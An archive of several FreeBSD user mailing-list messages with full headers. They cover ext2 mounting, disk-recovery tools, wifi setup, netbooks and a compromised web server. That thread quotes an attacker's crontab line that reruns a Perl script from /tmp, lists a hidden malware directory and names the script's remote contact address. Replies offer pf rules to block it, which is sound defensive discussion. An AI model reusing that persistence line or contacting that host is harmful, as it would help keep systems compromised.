2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org, Jeronimo Calvo Subject: Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 17:41:47 -0000 On Tue, 25 Aug 2009 13:33:59 +0200, Mark Stapper wrote: > Don't forget to reapply the ext2 patch... ;-) And of course keep in mind that kernel and world (userland) have to be of the same version, e. g. if you upgrade your sources to 7-STABLE, recompile kernel and world and install them. You'll find a handy procedure for that in the handbook. > the userland is just the collection of base applications or "base > distribution". It can be called "only the OS", too. :-) > Just read all the chapters listed here: > http://www.freebsd.org/doc/en/books/handbook/ > ;-) At leasst, keep it near yourself. Most "ordinary" problems can be solved or even avoided by sticking to what the handbook says. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 17:45:11 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 93C5A106568B for ; Tue, 25 Aug 2009 17:45:11 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 52ABF8FC18 for ; Tue, 25 Aug 2009 17:45:11 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx01.qsc.de (Postfix) with ESMTP id 66AF03821C; Tue, 25 Aug 2009 19:45:09 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7PHj84d001531; Tue, 25 Aug 2009 19:45:08 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Tue, 25 Aug 2009 19:45:08 +0200 From: Polytropon To: Jerry McAllister Message-Id: <20090825194508.a6c3983e.freebsd@edvax.de> In-Reply-To: <20090825150438.GA10392@gizmo.acns.msu.edu> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824222611.025c4e56.freebsd@edvax.de> <20090825150438.GA10392@gizmo.acns.msu.edu> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Kelly Martin , FreeBSD Questions Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 17:45:11 -0000 On Tue, 25 Aug 2009 11:04:38 -0400, Jerry McAllister wrote: > dd will barf on bad bits too. > You can tinker to make it skip over the bad block, but it > won't read it. As it has been suggested, there are interesting tools in the ports collection. I'll post my "famous list" again. Among them, note ddrescue and dd_rescue. But base system tools such as the fetch program can help. System: dd fsck_ffs clri fsdb fetch -rR recoverdisk (!) Ports: ddrescue dd_rescue ffs2recov magicrescue testdisk The Sleuth Kit: fls dls ils autopsy scan_ffs recoverjpeg foremost photorec Those programs are not ordered in any way. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 17:46:56 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 38810106568B for ; Tue, 25 Aug 2009 17:46:56 +0000 (UTC) (envelope-from herbert.raimund@gmx.net) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mx1.freebsd.org (Postfix) with SMTP id 80AC28FC2B for ; Tue, 25 Aug 2009 17:46:55 +0000 (UTC) Received: (qmail invoked by alias); 25 Aug 2009 17:46:50 -0000 Received: from host-194126238033.net-serwis.pl (EHLO bobcat.edu) [194.126.238.33] by mail.gmx.net (mp045) with SMTP; 25 Aug 2009 19:46:50 +0200 X-Authenticated: #18511094 X-Provags-ID: V01U2FsdGVkX188TjUqcaA8hm7fRXDJpfaeXo51HN0yHHyTY4SceZ qtb6yd1irGIIUE Date: Tue, 25 Aug 2009 19:47:41 +0200 From: herbert langhans To: freebsd-questions@freebsd.org Message-ID: <20090825194741.756580a7@bobcat.edu> Organization: private X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.4; i386-portbld-freebsd7.2) X-Face: q+q_R4e*MWOR3888mPIAZc/FNaS!=`.[B6uaBUuT)S0@80[:sij*]j?Vo57(D|Gt-kv8h\y M~EX/qT%sIl^Z(x'h(r}f%$KLA[ZBIpzr{$|9w!e9]>isP8uu-A6k:}[)={{B}(@}*lOADil'U|daw xlj24v2,"<%CX2@vhLl+yo_u.K Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Y-GMX-Trusted: 0 X-FuHaFi: 0.54 Subject: IBM Stinkpad and Wifi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 17:46:56 -0000 Hi Daemons, I have some troubles to get connected to an open Wifi-Net. Its an older IBM Stinkpad 600 and I bought a new PCMCIA-card for it. Chipset of the card is from Atheros, this is recommended by the FreeBSD Handbook. I boot the Laptop, the drivers seem to be compiled in the generic Kernel. Booting shows something like: ath0: mem 0xff9f0000-0xff9fffff irq 17 at device 2.0 on pci2 ath0: Ethernet address: 00:11:95:d5:43:62 ath0: mac 7.9 phy 4.5 radio 5.6 Good. Then I try: # ifconfig ath0 up scan # (I tried this in a cool caf=C3=A9, with cool people there and a cool open access point..) =20 Nothing. There should be a list of the available access points.=20 Is that right? Something I missed with the setup? I tried: #kldload wlan_wep.ko #kldload wlan_ccmp.ko #kldload wlan_tkip.ko ..and BSD 7.2, a very recent version, tells me that these files already exi= st (so the kernel took already care of it). What am I doing wrong?? All ideas appreciated! Thanks herb langhans --=20 sprachtraining langhans herbert langhans, warschau http://www.langhans.com.pl herbert dot raimund at gmx dot net +0048 603 341 441 From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 19:25:32 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 06853106564A for ; Tue, 25 Aug 2009 19:25:32 +0000 (UTC) (envelope-from cyberleo@cyberleo.net) Received: from mtumishi.cyberleo.net (mtumishi.cyberleo.net [69.72.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id D1FB38FC1D for ; Tue, 25 Aug 2009 19:25:30 +0000 (UTC) Received: from [172.16.44.14] (unknown [74.2.96.2]) by mtumishi.cyberleo.net (Postfix) with ESMTPSA id BC58E1A50C; Tue, 25 Aug 2009 15:25:06 -0400 (EDT) Message-ID: <4A943A9B.1030703@cyberleo.net> Date: Tue, 25 Aug 2009 14:25:15 -0500 From: CyberLeo Kitsana User-Agent: Thunderbird 2.0.0.22 (X11/20090815) MIME-Version: 1.0 To: Colin Brace References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> In-Reply-To: <25135959.post@talk.nabble.com> X-Enigmail-Version: 0.96.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: CyberLeo , FreeBSD Questions Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 19:25:32 -0000 Colin Brace wrote: > > Ruben de Groot wrote: >> Try a find through the entire filesystem for files owned by this user that >> you can't account for. Also check your cron and at files under /var/cron >> and >> /var/at >> > > I found the cronjob which keeps restarting the script: > > [root@venus /var/cron/tabs]# ls -l > total 12 > -rw------- 1 root wheel 3440 Aug 25 12:06 colin > -rw------- 1 root wheel 240 Jul 28 23:49 www > > [root@venus /var/cron/tabs]# cat www > # DO NOT EDIT THIS FILE - edit the master and reinstall. > # (cron.job installed on Tue Jul 28 23:49:28 2009) > # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 > 2006/09/03 17:52:19 ru Exp $) > */1 * * * * perl /tmp/tmpfile > > I removed it, so now at least the script stops relaunching. > > /tmp/tmpfile is of course the script. > > In a subdirectory of tmp, there is a whole bunch of source code, all owned > by 'www': > > /tmp/.,]# ls -l > total 5692 > -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz > drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml > -rw-r--r-- 1 www wheel 43419 May 27 23:22 scanxml.txt > > ]# ls -l ml > total 3208 > -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user > -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user > -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents > -rwxr-xr-x 1 www wheel 2154 May 16 2003 Makefile > -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd > -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech > -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure > -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond > -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h > -rwxr-xr-x 1 www wheel 1054 Aug 3 2008 m.lev > -rwx--x--x 1 www wheel 6 May 25 2008 m.pid > -rwxr-xr-x 1 www wheel 1320 Mar 27 09:56 m.set > -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz > -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico > drwxr-xr-x 2 www wheel 512 Mar 4 2005 r > drwxr-xr-x 2 www wheel 1024 Dec 3 2005 src > > If anyone is interested in looking at this stuff, or wants more info, please > let me know. Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? -- Fuzzy love, -CyberLeo Technical Administrator CyberLeo.Net Webhosting http://www.CyberLeo.Net Furry Peace! - http://wwww.fur.com/peace/ From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 19:37:15 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BC0E7106568D for ; Tue, 25 Aug 2009 19:37:15 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-vw0-f189.google.com (mail-vw0-f189.google.com [209.85.212.189]) by mx1.freebsd.org (Postfix) with ESMTP id 6A4748FC32 for ; Tue, 25 Aug 2009 19:37:15 +0000 (UTC) Received: by vws27 with SMTP id 27so3024702vws.3 for ; Tue, 25 Aug 2009 12:37:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=lqsWq4XHnZoJf7xuOafL+jhwHnF2M/5rYNLTud35yNE=; b=EzweiK7WGr8WKMY6wddQ19w5cCtRDfiLYvrqBmMJwdmfky29BPyfG3Fra7HK9BJEy1 GMPcurzjkMTK2RN8Ets6S1Pu9RfwG0Fcnag+YE8D/P88ZLwWd/yHXLNgmjIxTkZ/oEjH rSox0SaiTguHRQz+KiMsTReIUCWf9NhUD8B1o= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=RCmKmk5FQRWU1w3vYznn+uPSTYhklvVaZ21CuVv5SP/ow4H0lvA9zdtNVQZ7rg4PUS Pd1iNfJoKotBd2otcQIWGZ/ACQvFrBSzbLG2QE4sI9OkbR5OnosAo497LUIVbo7Dq6oR lN4KrtrCgZj8nlff+/g2a9YFE7xaoZ5NeCsrY= MIME-Version: 1.0 Received: by 10.150.89.2 with SMTP id m2mr11270875ybb.73.1251229034477; Tue, 25 Aug 2009 12:37:14 -0700 (PDT) In-Reply-To: <20090825130616.20ab0049.wmoran@potentialtech.com> References: <4A924601.3000507@lim.nl> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> Date: Tue, 25 Aug 2009 14:37:14 -0500 Message-ID: <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> From: Adam Vande More To: Bill Moran Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 19:37:15 -0000 On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wrote: > In response to Adam Vande More : > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran >wrote: > > > > > In response to Paul Schmehl : > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace > > > wrote: > > > > > > > > > Bill Moran wrote: > > > > >> > > > > >> You can add an ipfw rule to prevent the script from calling home, > > > which > > > > >> will effectively render it neutered until you can track down and > > > actually > > > > >> _fix_ the problem. > > > > > > > > > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on > > > port > > > > > 7000". OK, so I how do I know what port the script is using for > > > outgoing > > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > > > pass out quick on $ext_if proto 41 > > > > > pass out quick on gif0 inet6 > > > > > pass in quick on gif0 inet6 proto icmp6 > > > > > block in log > > > > > > > > > > That is to say: nothing is allowed in unless explicitly allowed > > > > > Everything allowed out. > > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > > > > The problem with blocking outbound ports is that it breaks things in > odd > > > ways. > > > > For example, your mail server listens on port 25 (and possibly 465 as > > > well) but > > > > it communicates with connecting clients on whatever ethereal port the > > > client > > > > decided to use. If the port the client selects happens to be in a > range > > > that > > > > you are blocking, communication will be impossible and the client > will > > > report > > > > that your mail server is non-responsive. > > > > > > You're doing it wrong. Block on the destination port _only_ and you > don't > > > care about the ephemeral ports. > > > > What ports would you block then when you're trying to run a webserver? > > My point (which is presented in examples below) is that you block > everything > and only allow what is needed (usually only dns and ntp, possibly smtp if > the web server needs to send mail) > > That single statement above was directed specifically at the comment about > it being impossible to predict (and thus block) ephemeral source ports. > He's > right about that, and that's why filtering on the destination port is the > more common practice. > > Of course, that caused me to create an email that seems to contradict > itself, if you don't notice that it's two answers to two different > comments. My point was that it's unfeasible to block by destination point. You can only block by destination port if it's a known quantity, and the destination port is ephemeral in the question I posed(which what the OP had an issue with). > > > > > > It's much easier to block outgoing ports for services you *don't* > want to > > > > offer, but, if the service isn't running anyway, blocking the port is > > > > non-productive. > > > > > > You're obviously misunderstanding me completely. Your not blocking > > > incoming > > > connections, your preventing outgoing ones, which means there _is_ no > > > service running on your local machine. > > > > > > For example, a server that is _only_ web (with SSH for admin) could > have > > > a ruleset like: > > > > > > pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} > keep > > > state > > > pass out quick on $ext_if proto tcp from me to any port {25} keep state > > > pass out quick on $ext_if proto upd from me to any port {53,123} keep > state > > > block all > > > > > > (note that's only an example, there may be some fine points I'm > missing) > > > > > > One thing that had not yet been mentioned when I posted my earlier > comment, > > > is that this system is a combination firewall/web server. That makes > the > > > rules more complicated, but the setup is still possible: > > > > > > pass in quick on $ext_if proto tcp from any to me port {80} keep state > > > pass out quick on $ext_if proto upd from me to any port {53,123} keep > state > > > pass out quick on $ext_if from $internal_network to any all keep state > > > block all > > > > > > Which allows limited outgoing traffic originating from the box itself, > > > but allows unlimited outgoing traffic from systems on > $internal_network. > > > > > > I've done this with great success. In fact, I had a fun time where a > > > client in question was infected with viruses out the wazoo, but the > > > viruses never spread off their local network because I only allowed > > > SMTP traffic to their SMTP relay, which required SMTP auth (thus the > > > viruses couldn't send mail) > > > > > > > > > > > > -- > > Adam Vande More > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > > > -- > Bill Moran > http://www.potentialtech.com > http://people.collaborativefusion.com/~wmoran/ > -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 19:40:43 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F0D46106568D for ; Tue, 25 Aug 2009 19:40:43 +0000 (UTC) (envelope-from peter.piggybox@virgin.net) Received: from mtaout03-winn.ispmail.ntl.com (mtaout03-winn.ispmail.ntl.com [81.103.221.49]) by mx1.freebsd.org (Postfix) with ESMTP id 56AA58FC2D for ; Tue, 25 Aug 2009 19:40:42 +0000 (UTC) Received: from know-smtpout-4.server.virginmedia.net ([62.254.123.4]) by mtaout03-winn.ispmail.ntl.com (InterMail vM.7.08.04.00 201-2186-134-20080326) with ESMTP id <20090825194041.RIBW5579.mtaout03-winn.ispmail.ntl.com@know-smtpout-4.server.virginmedia.net>; Tue, 25 Aug 2009 20:40:41 +0100 Received: from [81.105.210.41] (helo=ideapad.piggybox) by know-smtpout-4.server.virginmedia.net with esmtp (Exim 4.63) (envelope-from ) id 1Mg1sn-0007oi-K3; Tue, 25 Aug 2009 20:40:41 +0100 Received: from ideapad.piggybox (localhost [127.0.0.1]) by ideapad.piggybox (8.14.3/8.14.3) with ESMTP id n7PIdmZh001176; Tue, 25 Aug 2009 19:39:48 +0100 (BST) (envelope-from peter@ideapad.piggybox) Received: (from peter@localhost) by ideapad.piggybox (8.14.3/8.14.3/Submit) id n7PIdl2U001175; Tue, 25 Aug 2009 19:39:47 +0100 (BST) (envelope-from peter) Date: Tue, 25 Aug 2009 19:39:47 +0100 From: Peter Harrison To: Jeff Hamann Message-ID: <20090825183947.GC1087@ideapad.piggybox> Mail-Followup-To: Jeff Hamann , "illoai@gmail.com" , freebsd-questions@freebsd.org References: <447CAEF2-AA07-49E9-9E81-891FA7C23422@forestinformatics.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <447CAEF2-AA07-49E9-9E81-891FA7C23422@forestinformatics.com> User-Agent: Mutt/1.4.2.3i X-Cloudmark-Analysis: v=1.0 c=1 a=pGLkceISAAAA:8 a=3hBJm4lDAAAA:8 a=6I5d2MoRAAAA:8 a=UpZ2LE1AMNZE0gd7mSkA:9 a=XF2jbt8JcNZ5S6f27aMA:7 a=3DCRbnoNCdkNyf2l09-nD8lCcpwA:4 a=_6J4M89JXYQA:10 a=MSl-tDqOz04A:10 a=KVpQdamayL8A:10 a=SV7veod9ZcQA:10 a=EXxrSir8_SMA:10 Cc: "illoai@gmail.com" , freebsd-questions@freebsd.org Subject: Re: netbooks for freebsd? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 19:40:44 -0000 Monday, 24 August 2009 at 5:45:20 -0700, Jeff Hamann said: > thanks. > > i've looked at both an acer and lenovo models and like the lenovo > model better. I like my s10e too - but remember I don't have native wireless, I'm using ndis. There are also some acpi glitches which the currently available patch only partially resolves. Peter Harrison. > > as for linux... no way.. had too many hack experiences during the > early years. that's why i made the switch to bsd. i would like to make > my own port (super-port?), build a distro, and dump it onto a machine. > haven't tested on virtual machine yet, but think that would be the > smartest method. > > thanks again. > > On Aug 23, 2009, at 11:39 AM, illoai@gmail.com wrote: > > >2009/8/19 Jeff Hamann : > >>I would like to try some experimental software on a netbook. Can > >>somebody > >>recommend a netbook that can do FreeBSD. > >> > > > >Late to the discussion, sorry I can't give positive > >advice, but: > > > >I can explicity UNADVISE the eeee(ee?)pc 1005ha > > > >Networking (atheros 9285, iirc) might work under > >ndis, wired (I forget which chipset) doesn't work. > > > >I put ubuntu on it, and even _that_ took some hacks. > > > >-- > >-- > > Jeff Hamann, PhD > PO Box 1421 > Corvallis, Oregon 97339-1421 > 541-754-2457 > jeff.hamann[at]forestinformatics[dot]com > http://www.forestinformatics.com > > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 19:44:00 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C3C5C106568B for ; Tue, 25 Aug 2009 19:44:00 +0000 (UTC) (envelope-from wmoran@potentialtech.com) Received: from mail.potentialtech.com (internet.potentialtech.com [66.167.251.6]) by mx1.freebsd.org (Postfix) with ESMTP id 717CE8FC23 for ; Tue, 25 Aug 2009 19:44:00 +0000 (UTC) Received: from localhost (pr40.pitbpa0.pub.collaborativefusion.com [206.210.89.202]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mail.potentialtech.com (Postfix) with ESMTPSA id 5E899EBC0A; Tue, 25 Aug 2009 15:43:59 -0400 (EDT) Date: Tue, 25 Aug 2009 15:43:58 -0400 From: Bill Moran To: Adam Vande More Message-Id: <20090825154358.7c792d3a.wmoran@potentialtech.com> In-Reply-To: <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> References: <4A924601.3000507@lim.nl> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> Organization: Bill Moran X-Mailer: Sylpheed 2.7.1 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Paul Schmehl , freebsd-questions@freebsd.org, Colin Brace Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Aug 2009 19:44:00 -0000 In response to Adam Vande More : > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wrote: > > > In response to Adam Vande More : > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran > >wrote: > > > > > > > In response to Paul Schmehl : > > > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace > > > > wrote: > > > > > > > > > > > Bill Moran wrote: > > > > > >> > > > > > >> You can add an ipfw rule to prevent the script from calling home, > > > > which > > > > > >> will effectively render it neutered until you can track down and > > > > actually > > > > > >> _fix_ the problem. > > > > > > > > > > > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on > > > > port > > > > > > 7000". OK, so I how do I know what port the script is using for > > > > outgoing > > > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > > > > > pass out quick on $ext_if proto 41 > > > > > > pass out quick on gif0 inet6 > > > > > > pass in quick on gif0 inet6 proto icmp6 > > > > > > block in log > > > > > > > > > > > > That is to say: nothing is allowed in unless explicitly allowed > > > > > > Everything allowed out. > > > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > > > > > > > The problem with blocking outbound ports is that it breaks things in > > odd > > > > ways. > > > > > For example, your mail server listens on port 25 (and possibly 465 as > > > > well) but > > > > > it communicates with connecting clients on whatever ethereal port the > > > > client > > > > > decided to use. If the port the client selects happens to be in a > > range > > > > that > > > > > you are blocking, communication will be impossible and the client > > will > > > > report > > > > > that your mail server is non-responsive. > > > > > > > > You're doing it wrong. Block on the destination port _only_ and you > > don't > > > > care about the ephemeral ports. > > > > > > What ports would you block then when you're trying to run a webserver? > > > > My point (which is presented in examples below) is that you block > > everything > > and only allow what is needed (usually only dns and ntp, possibly smtp if > > the web server needs to send mail) > > > > That single statement above was directed specifically at the comment about > > it being impossible to predict (and thus block) ephemeral source ports. > > He's > > right about that, and that's why filtering on the destination port is the > > more common practice. > > > > Of course, that caused me to create an email that seems to contradict > > itself, if you don't notice that it's two answers to two different > > comments. > > My point was that it's unfeasible to block by destination point. You can > only block by destination port if it's a known quantity, and the destination > port is ephemeral in the question I posed(which what the OP had an issue > with). Please read the entire email before you respond. My last example below demonstrates how to do what you call "unfeasible". > > > > > It's much easier to block outgoing ports for services you *don't* > > want to > > > > > offer, but, if the service isn't running anyway, blocking the port is > > > > > non-productive. > > > > > > > > You're obviously misunderstanding me completely. Your not blocking > > > > incoming > > > > connections, your preventing outgoing ones, which means there _is_ no > > > > service running on your local machine. > > > > > > > > For example, a server that is _only_ web (with SSH for admin) could > > have > > > > a ruleset like: > > > > > > > > pass in quick on $ext_if proto tcp from any to me port {25,587,465,22} > > keep > > > > state > > > > pass out quick on $ext_if proto tcp from me to any port {25} keep state > > > > pass out quick on $ext_if proto upd from me to any port {53,123} keep > > state > > > > block all > > > > > > > > (note that's only an example, there may be some fine points I'm > > missing) > > > > > > > > One thing that had not yet been mentioned when I posted my earlier > > comment, > > > > is that this system is a combination firewall/web server. That makes > > the > > > > rules more complicated, but the setup is still possible: > > > > > > > > pass in quick on $ext_if proto tcp from any to me port {80} keep state > > > > pass out quick on $ext_if proto upd from me to any port {53,123} keep > > state > > > > pass out quick on $ext_if from $internal_network to any all keep state > > > > block all > > > > > > > > Which allows limited outgoing traffic originating from the box itself, > > > > but allows unlimited outgoing traffic from systems on > > $internal_network. > > > > > > > > I've done this with great success. In fact, I had a fun time where a > > > > client in question was infected with viruses out the wazoo, but the > > > > viruses never spread off their local network because I only allowed > > > > SMTP traffic to their SMTP relay, which required SMTP auth (thus the > > > > viruses couldn't send mail) > > > > > > > > > > > > > > > > > -- > > > Adam Vande More > > > _______________________________________________ > > > freebsd-questions@freebsd.org mailing list > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > To unsubscribe, send any mail to " > > freebsd-questions-unsubscribe@freebsd.org" > > > > > > -- > > Bill Moran > > http://www.potentialtech.com > > http://people.collaborativefusion.com/~wmoran/ > > > > > > -- > Adam Vande More -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 22:11:37 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9535A106568F for ; Tue, 25 Aug 2009 22:11:37 +0000 (UTC) (envelope-from amvandemore@gmail.com) Received: from mail-gx0-f227.google.com (mail-gx0-f227.google.com [209.85.217.227]) by mx1.freebsd.org (Postfix) with ESMTP id 426A68FC23 for ; Tue, 25 Aug 2009 22:11:37 +0000 (UTC) Received: by gxk27 with SMTP id 27so4451216gxk.12 for ; Tue, 25 Aug 2009 15:11:36 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=P/hhp7SBatC7HaK/UMMAY5FUYfy7nwZOMekjZl0lOlU=; b=WEHo9uz3MUAdhLMAihkZq/x2KwlEdna73mEkD56xNBZqMUMEvFmOr2By/zgoqIPiwR sO+4gxY8K24CikdLPquyCIOIMKNzwErcgPg/MPvB5gXIjihlxeUU/pEq8oZIYzsrrHmh TdbLkaP9hGhSv5/3qr4KWce9u5Ljn4p5pfuNc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; 